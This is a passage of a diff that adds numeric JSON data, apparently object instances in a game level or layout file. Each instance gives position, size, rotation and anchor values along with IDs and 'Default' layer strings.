+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2697,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1857.46142578125,
+ 958.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2698,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1949.46142578125,
+ 958.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2699,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2041.46142578125,
+ 958.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2700,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2132.46142578125,
+ 958.0719604492188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2701,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1675.46142578125,
+ 1052.072021484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2702,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1766.46142578125,
+ 1052.072021484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2703,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1857.46142578125,
+ 1052.072021484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2710,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1949.46142578125,
+ 1052.072021484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2727,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2041.46142578125,
+ 1052.072021484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2728,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2132.46142578125,
+ 1052.072021484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2863,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6787,
+ 1086,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2601,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4828,
+ 3255,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 2602,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5098,
+ 873,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 2604,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5098,900",
+ 0,
+ 2,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5100,
+ 889,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 2605,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -492,
+ 1003,
+ 0,
+ 270,
+ 204,
+ 0,
+ 0,
+ 1,
+ 0.4666666686534882,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 333,
+ 2606,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1376,
+ 1115,
+ 0,
+ 514,
+ 386,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 321,
+ 2607,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 2608,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 2609,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 2610,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1382,
+ 615,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 2611,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -365,
+ 1005,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 319,
+ 2612,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1194,
+ 617,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 2613,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 2614,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 136,
+ 852,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 2615,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 133,
+ 852,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 2616,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 135,
+ 827,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 2617,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 135,
+ 828,
+ 0,
+ 56,
+ 52,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 2618,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5101,
+ 757.5,
+ 0,
+ 13,
+ 1581,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 2619,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -445,
+ 240,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 2620,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3366,
+ 2812,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 2621,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -413,
+ 630,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 2622,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5040,
+ 2860,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 2623,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3950,
+ 3243,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.4934210479259491,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 366,
+ 2624,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4064,
+ 3365,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 368,
+ 2625,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5457,
+ 3093,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2626,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5124,
+ 3095,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2627,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1816,
+ 598,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 2628,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1671,
+ 649,
+ 0,
+ 24.95556640625,
+ 166.9776000976563,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 376,
+ 2629,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1955,
+ 643,
+ 0,
+ 25.62890625,
+ 158.4940185546875,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 377,
+ 2630,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1816,
+ 586,
+ 0,
+ 49.11710357666016,
+ 32.80466461181641,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 378,
+ 2631,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1795,
+ 602,
+ 0,
+ 9.54636001586914,
+ 42.17941665649414,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 2632,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1837,
+ 602,
+ 0,
+ 9.54636001586914,
+ 43.21585464477539,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 2633,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -377,
+ 1413,
+ 0,
+ 197,
+ 222,
+ 0,
+ 0,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ 0,
+ 0,
+ []
+ ],
+ 380,
+ 2634,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 1904,
+ 1201,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 343,
+ 2635,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 0.3,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3525,
+ 2812,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 2636,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3679,
+ 2812,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 2637,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3838,
+ 2813,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 2638,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3993,
+ 2813,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 2639,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4152,
+ 2813,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 2640,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 341.5,
+ 1121,
+ 0,
+ 1062,
+ 523,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2641,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5009.955078125,
+ 1210,
+ 0,
+ 461,
+ 523,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2642,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -418,
+ 1529,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2645,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1904,
+ 1202,
+ 0,
+ 70.87718200683594,
+ 73.1406021118164,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 391,
+ 2646,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2083,
+ 1379,
+ 0,
+ 119,
+ 119,
+ 0,
+ 0,
+ 1,
+ 0.5042017102241516,
+ 0.5042017102241516,
+ 0,
+ 0,
+ []
+ ],
+ 393,
+ 2647,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 0.3,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2082,
+ 1380,
+ 0,
+ 103.2740020751953,
+ 106.5719985961914,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 392,
+ 2648,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2060,
+ 1268,
+ 0,
+ 119,
+ 119,
+ 0,
+ 0,
+ 1,
+ 0.5042017102241516,
+ 0.5042017102241516,
+ 0,
+ 0,
+ []
+ ],
+ 394,
+ 2649,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 0.3,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2059,
+ 1268,
+ 0,
+ 103.2740020751953,
+ 106.5719985961914,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 395,
+ 2650,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2784,
+ 2886,
+ 0,
+ 119,
+ 119,
+ 0,
+ 0,
+ 1,
+ 0.5042017102241516,
+ 0.5042017102241516,
+ 0,
+ 0,
+ []
+ ],
+ 396,
+ 2651,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 0.3,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2782,
+ 2885,
+ 0,
+ 103.2740020751953,
+ 106.5719985961914,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 397,
+ 2652,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2954,
+ 2963,
+ 0,
+ 119,
+ 119,
+ 0,
+ 0,
+ 1,
+ 0.5042017102241516,
+ 0.5042017102241516,
+ 0,
+ 0,
+ []
+ ],
+ 398,
+ 2653,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 0.3,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2952,
+ 2964,
+ 0,
+ 103.2740020751953,
+ 106.5719985961914,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 399,
+ 2654,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 240,
+ 1685,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2657,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 240,
+ 1780,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2658,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 240,
+ 1876,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2659,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 240,
+ 1971,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2660,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 622.8607177734375,
+ 878.3153076171875,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 2691,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 789.8607177734375,
+ 878.3153076171875,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 2692,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3642.987060546875,
+ 859.2112426757812,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2780,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3643.515625,
+ 780.1199340820312,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2781,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3643.515625,
+ 701.2666625976562,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2782,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3644.5634765625,
+ 622.649169921875,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2783,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3954,
+ 624,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2787,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3955,
+ 546,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2788,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3956,
+ 467,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2789,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3956,
+ 388,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2790,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3957,
+ 309,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2791,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3957,
+ 230,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2792,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3958,
+ 152,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2793,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3958,
+ 73,
+ 0,
